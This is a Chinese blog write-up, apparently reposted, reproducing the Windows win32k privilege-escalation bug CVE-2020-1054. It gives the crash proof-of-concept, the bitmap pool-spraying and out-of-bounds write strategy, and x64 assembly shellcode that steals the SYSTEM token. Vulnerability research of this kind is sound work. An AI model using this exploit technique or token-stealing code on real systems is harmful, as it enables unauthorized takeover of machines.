CVE-2020-1054

Posted dreamoneonly

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2020-1054相关的知识,希望对你有一定的参考价值。

CVE-2020-1054

测试环境

Win7 x64 SP1

前言

此次漏洞复现是对《CVE-2020-1054 Analysis》这篇文章的理解与实践,由于这篇文章对整个利用过程阐述的非常详细,因此本次分析报告主要记录一下在复现时遇到的一些问题。

具体分析

  1. 通过运行POC,在windbg中断下,可以发现漏洞点在win32k!vStrWrite01,在NT4中发现有这个函数的源码,可以辅助我们分析理解。
int main(int argc, char *argv[])
{
    LoadLibrary("user32.dll");
    HDC r0 = CreateCompatibleDC(0x0);
    // CPR‘s original crash code called CreateCompatibleBitmap as follows
    // HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
    // however all following calculations/reversing in this blog will 
    // generally use the below call, unless stated otherwise
    // this only matters if you happen to be following along with WinDbg
    HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
    SelectObject(r0, r1);
    DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc, 
        0x0, 0x0, 0x6);

    return 0;
}

技术图片

技术图片

  1. 根据上图漏洞点,可以看到访问异常发生在读取pjDraw处,从下图源码可以知道pjDraw肯定是指向SURFOBJ->pvScan0区域的,这个函数就是对这块像素数据进行某种填充,而这个访问异常地址明显超出了这个SURFOBJ对象的像素区,因此这是一个OOB类型的漏洞。

技术图片

  1. 现在的重点是如何精准控制这个pjDraw的值,在IDA中观察可以发现在这个while循环中,pjDraw每次增加SURFOBJ->Delta大小,而SURFOBJ->Delta又是由CreateCompatibleBitmap的第二个参数cx控制,根据文章中描述可知lDelta = cx / 0x8
  2. 从上图可知在while循环中对pjDraw读取写入的次数由win32k!vStrWrite01的前两个参数控制,当pxrl != pxrlEnd时循环就会继续,通过动态调试可以发现,循环次数是由DrawIconEx的第三个参数控制。

技术图片

  1. 有了以上基础后,我们来看一下《CVE-2020-1054 Analysis》文章中的利用思路,
1. Allocate a base bitmap (fffff900‘c700000).
2. Allocate enough SURFOBJs (via calls to CreateCompatibleBitmap) such that 
  one is allocted at fffff901‘c7000000.
2.1. A second is allocated directly after the first.
2.2. A third is allocated directly after the second.
2. Calculate loop_iterations*lDelta such that it is equal to fffff901‘c7000240.
3. Use OOB write to overwrite width or height of second SURFOBJ‘s sizlBitmap.
4. Use SetBitMapBits with second SURFOBJ to overwrite pvScan01 of third SURFOBJ.
5. Arbitrary reusable write is now obtained.
6. Typical EoP overwrite process token privileges and inject into winlogon.exe.

因此我们需要选择合适大小的BitMap进行喷射,让其中一个对象位于fffff901‘c7000000,作者提供的代码中是通过CreateCompatibleBitmap(allocate, 0x6f000, 0x08)进行的喷射,我们进行一下简单的计算:

  • cjTotal = (((cx * cPlanes * cBits) + 15) >> 4) << 1) * cy = 0x6f000
  • pool_bitmap_size = PAGE_ALIGN (cjTotal + sizeof(surfobj_header) + sizeof(pool_header)) = 0x70000

通过测试选择大小为0x7000BitMap对象进行喷射可以成功申请到fffff901‘c7000000地址

技术图片

技术图片

现在需要解决的最后一步就是找到特定的DrawIconExarg1 arg2,来使得pjDraw的位置刚好等于surfobj->sizlBitmap的位置,从而修改位图的大小,使得可以通过GetBitmapBits/SetBitmapBits进行越界读写,由于我们已经在上面解释过DrawIconEx arg1 arg2 和漏洞函数的关系,因此可以很容易的理解下面这段python脚本(脚本来自《CVE-2020-1054 Analysis》)

技术图片

至此我们已经确定了如何填写DrawIconEx的参数来越界修改BitMap对象的大小,提权方式则是采用替换tagWND.bServerSideWindowProc = 1窗口的窗口过程函数。

技术图片

public WndProc_fake
extern DefWindowProcW:proc 
.code

WndProc_fake proc hwnd:dword, msg:dword, wParam:dword, lParam:dword
    mov ax,cs
    cmp ax,10h
    jnz return
    pushfq
	push rax
	push rdx
	push rbx
	mov rax, gs:[188h]    ;CurrentThread
	mov rax, [rax + 210h] ;Process  
	lea rdx, [rax + 208h] ;MyProcess.Token
noFind :
	mov rax, [rax + 188h] ;Eprocess.ActiveProcessLinks
	sub rax, 188h         ;next Eprocess struct
	mov rbx, [rax + 180h] ;PID
	cmp rbx, 4
	jnz noFind
	mov rax, [rax + 208h] ;System.Token
	mov [rdx], rax
	pop rbx
	pop rdx
	pop rax
	popfq
return:
    mov ecx,hwnd
    mov edx,msg
    mov r8d,wParam
    mov r9d,lParam
    sub rsp,20h
    call DefWindowProcW
    add rsp,20h
    ret

WndProc_fake endp

end

效果演示

技术图片

参考

https://0xeb-bp.github.io/blog/2020/06/15/cve-2020-1054-analysis.html》

以上是关于CVE-2020-1054的主要内容,如果未能解决你的问题,请参考以下文章

微信小程序代码片段

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器